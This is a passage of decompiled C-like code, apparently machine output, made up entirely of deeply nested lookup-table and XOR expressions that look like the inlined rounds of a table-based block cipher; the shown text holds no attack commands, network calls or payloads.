0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x18) * 4) ^  *(0x4141c8 + (_t243 & 0x000000ff) * 4) ^ _t257[5]) >> 0x18) * 4) ^  *(0x4141c8 + (_t162 & 0x000000ff) * 4) ^ _t257[6];
						_t259 = _t259 - 0x20;
						_t167 =  *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x18) * 4) ^  *(0x4141c8 + (_t243 & 0x000000ff) * 4) ^ _t257[5]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x00000010 & 